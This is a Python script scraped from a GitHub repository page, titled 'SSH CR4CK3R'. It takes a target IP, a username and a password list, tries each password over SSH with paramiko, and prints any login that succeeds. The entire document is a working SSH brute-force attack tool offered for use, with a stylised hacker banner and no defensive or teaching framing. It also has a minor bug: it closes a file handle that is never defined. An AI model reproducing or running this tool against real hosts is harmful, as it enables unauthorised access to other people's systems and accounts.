-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathssh_cr4ck3r.py
60 lines (47 loc) · 1.85 KB
/
ssh_cr4ck3r.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
# @AUTHOR: 4N4NRCH0
# The powerful Python language is supported by a number of modules that easily extend its capabilities
# Paramiko is an SSHv2 implementation that will be useful in building SSH clients and servers.
import paramiko
import sys, os
import pyfiglet
from colorama import init, Fore, Back
def banner(titel):
init()
print(Fore.RED+"*"*65+Fore.RESET)
print(17*"-"+"\tCREATED BY 4N4RCH0\t"+"-"*17)
print(Back.BLACK+Fore.RED+pyfiglet.figlet_format(titel, font="avatar")+Back.RESET+Fore.RESET)
print(Fore.RED+"*"*65+Fore.RESET)
banner(" $$H CR4CK3R ")
try:
target = str(input('Please enter target IP address: '))
username = str(input('Please enter username to bruteforce: '))
password_file = str(input('Please enter location of the password file: '))
def ssh_connect(password, code=0):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect(target, port=22, username=username, password=password)
except paramiko.AuthenticationException:
code = 1
ssh.close()
return code
with open(password_file, 'r') as file:
for line in file.readlines():
password = line.strip()
try:
response = ssh_connect(password)
if response == 0:
print(Fore.GREEN+f'[ + ] LOGIN SUCCESSFUL: {username}:{password}'+Fore.RESET)
exit(0)
elif response == 1:
print(Fore.RED+f'[ - ] LOGIN FAILED - USED PASSWORD: {password}'+Fore.RESET)
except Exception as e:
print(e)
pass
input_file.close() # type: ignore
sys.exit()
except KeyboardInterrupt:
sys.exit()
except Exception as e:
print(Fore.RED+f"[ERROR]\t{e}"+Fore.RESET)
sys.exit()